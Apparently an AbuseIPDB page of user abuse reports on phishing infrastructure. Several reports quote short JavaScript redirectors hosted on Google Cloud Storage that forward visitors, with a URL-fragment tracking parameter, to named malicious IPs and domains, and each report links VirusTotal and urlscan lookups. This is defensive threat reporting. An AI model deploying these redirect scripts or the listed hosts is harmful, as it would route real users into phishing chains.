https://storage.googleapis.com/llmo/oer.html
Content
<script>document.location.href ='http://162 ...
show morehttps://storage.googleapis.com/llmo/oer.html
Content
<script>document.location.href ='http://162.254.35.160/'+window.location.href.split('#')[1];</script>
Reloads to 162.254.35.160
Malicious:
https://www.virustotal.com/gui/ip-address/162.254.35.160
https://urlscan.io/search/#162.254.35.160
show less
https://storage.googleapis.com/darbox/abdeeedarbooxiyeeyjsytzpzezehjsfsydrte.html
Source:
<scr ...
show morehttps://storage.googleapis.com/darbox/abdeeedarbooxiyeeyjsytzpzezehjsfsydrte.html
Source:
<script>
var url= document.location;
var str1=url.toString();
var res = str1.split("#");
var newurl="http://96.62.102.124.miami-people.edu.eu.org.cdn.cloudflare.net/"+res[1];
window.location.href = newurl;
</script>
Reloads to 96.62.102.124.miami-people.edu.eu.org.cdn.cloudflare.net
185.176.220.37
Malicious
https://www.virustotal.com/gui/ip-address/185.176.220.37
https://urlscan.io/search/#185.176.220.37
show less
https://storage.googleapis.com/3awedmnjdid/0333313od2r8.html
Content:
<script>
var tarcking_par ...
show morehttps://storage.googleapis.com/3awedmnjdid/0333313od2r8.html
Content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "anastasiusson.click/t";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/'+tarcking_param;
}
</script>
Script takes tracking parameters and redirects the victim to anastasiusson.click
Mailicious domain:
See
https://www.virustotal.com/gui/domain/anastasiusson.click
@google: please remove the content used by phishing criminals as soon as you receive complaints
show less
www.worldoneonline.com
Malicious, see
https://www.virustotal.com/gui/domain/worldoneonline.com ...
show morewww.worldoneonline.com
Malicious, see
https://www.virustotal.com/gui/domain/worldoneonline.com
https://urlscan.io/search/#worldoneonline.com
https://radar.cloudflare.com/scan/ac4e88dd-aef3-4946-a27d-973e1949cd18/summary
show less
162.254.35.160
https://storage.googleapis.com/llmo/oer.html
Content
<script>document.location ...
show more162.254.35.160
https://storage.googleapis.com/llmo/oer.html
Content
<script>document.location.href ='http://162.254.35.160/'+window.location.href.split('#')[1];</script>
Reloads to 162.254.35.160
Malicious:
https://www.virustotal.com/gui/ip-address/162.254.35.160
https://urlscan.io/search/#162.254.35.160
show less
https://storage.googleapis.com/darbox/abdeeedarbooxiyeeyjsytzpzezehjsfsydrte.html
Source:
<scr ...
show morehttps://storage.googleapis.com/darbox/abdeeedarbooxiyeeyjsytzpzezehjsfsydrte.html
Source:
<script>
var url= document.location;
var str1=url.toString();
var res = str1.split("#");
var newurl="http://96.62.102.124.miami-people.edu.eu.org.cdn.cloudflare.net/"+res[1];
window.location.href = newurl;
</script>
Reloads to 96.62.102.124.miami-people.edu.eu.org.cdn.cloudflare.net
185.176.220.37
Malicious
https://www.virustotal.com/gui/ip-address/185.176.220.37
https://urlscan.io/search/#185.176.220.37
show less
https://mb2p.stablesecurepage.com/t/5c83167defaa/fcafaba6-17b6-11f0-996e-a57b01983e5d/fcb838fc-17b6- ...
show morehttps://mb2p.stablesecurepage.com/t/5c83167defaa/fcafaba6-17b6-11f0-996e-a57b01983e5d/fcb838fc-17b6-11f0-8262-4b6a42316871
Congratulations!
New customers from Tielt-Winge can claim €2000 and 150 Free Spins at Kokobet.
Play now and you could become the next instant millionaire!
show less
96.62.102.124.miami-people.edu.eu.org.cdn.cloudflare.net
https://storage.googleapis.com/darbox/ab ...
show more96.62.102.124.miami-people.edu.eu.org.cdn.cloudflare.net
https://storage.googleapis.com/darbox/abdeeedarbooxiyeeyjsytzpzezehjsfsydrte.html
Content:
<script>
var url= document.location;
var str1=url.toString();
var res = str1.split("#");
var newurl="http://96.62.102.124.miami-people.edu.eu.org.cdn.cloudflare.net/"+res[1];
window.location.href = newurl;
</script>
Reloads to
96.62.102.124.miami-people.edu.eu.org.cdn.cloudflare.net
IP 185.14.92.154
Malicious:
https://www.virustotal.com/gui/ip-address/185.14.92.154
https://urlscan.io/search/#185.14.92.154
show less
https://storage.googleapis.com/25kdhsale/NWBH25.html
Content:
<script>
var tarcking_param = w ...
show morehttps://storage.googleapis.com/25kdhsale/NWBH25.html
Content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.4";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
Reloads to malicious IP 185.80.128.4
https://www.virustotal.com/gui/ip-address/185.80.128.4
https://urlscan.io/search/#185.80.128.4
show less
https://storage.googleapis.com/3awedmnjdid/013od2r8.html
Content
<script>
var tarcking_param = ...
show morehttps://storage.googleapis.com/3awedmnjdid/013od2r8.html
Content
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "caledonialiving.it.com/t";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/'+tarcking_param;
}
</script>
Malicious:
https://www.virustotal.com/gui/domain/caledonialiving.it.com
https://urlscan.io/search/#caledonialiving.it.com
If tarcking_param is e.g. 4juoxx124930tilh777vsszxytttg13259uennkfxblqdnfgc490232wfwj2227p34
the target domain is quickserviceservertech.com
https://www.virustotal.com/gui/domain/quickserviceservertech.com
https://www.virustotal.com/gui/ip-address/199.192.201.182
show less
https://storage.googleapis.com/3awedmnjdid/013od2r8.html
Content
<script>
var tarcking_param = ...
show morehttps://storage.googleapis.com/3awedmnjdid/013od2r8.html
Content
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "caledonialiving.it.com/t";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/'+tarcking_param;
}
</script>
Malicious:
https://www.virustotal.com/gui/domain/caledonialiving.it.com
https://urlscan.io/search/#caledonialiving.it.com
If tarcking_param is e.g. 4juoxx124930tilh777vsszxytttg13259uennkfxblqdnfgc490232wfwj2227p34
the target domain is quickserviceservertech.com
https://www.virustotal.com/gui/domain/quickserviceservertech.com
https://www.virustotal.com/gui/ip-address/199.192.201.182
show less
mail.mattes-int.com
Malicious
https://www.virustotal.com/gui/ip-address/185.176.220.100
https:/ ...
show moremail.mattes-int.com
Malicious
https://www.virustotal.com/gui/ip-address/185.176.220.100
https://urlscan.io/search/#185.176.220.100
show less
camera.lun.us.com
https://tinyurl.com/4d5w96s9 reloads to 185.176.220.100
Malicious, see
http ...
show morecamera.lun.us.com
https://tinyurl.com/4d5w96s9 reloads to 185.176.220.100
Malicious, see
https://www.virustotal.com/gui/ip-address/185.176.220.100
https://urlscan.io/search/#185.176.220.100
show less
familyhospitalsystems.com
Malicious, see
https://urlscan.io/result/01959411-8f25-7001-bbe9-852f0 ...
show morefamilyhospitalsystems.com
Malicious, see
https://urlscan.io/result/01959411-8f25-7001-bbe9-852f0d4498c9/#transactions
Website blocks requests by urlscan.io
show less
myexclusiveservo.com
Part of phishing reload chain
Malicious, see
https://urlscan.io/search/# ...
show moremyexclusiveservo.com
Part of phishing reload chain
Malicious, see
https://urlscan.io/search/#myexclusiveservo.com
https://www.virustotal.com/gui/domain/myexclusiveservo.com
show less
PhishingEmail Spam
By clicking “Accept all”, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.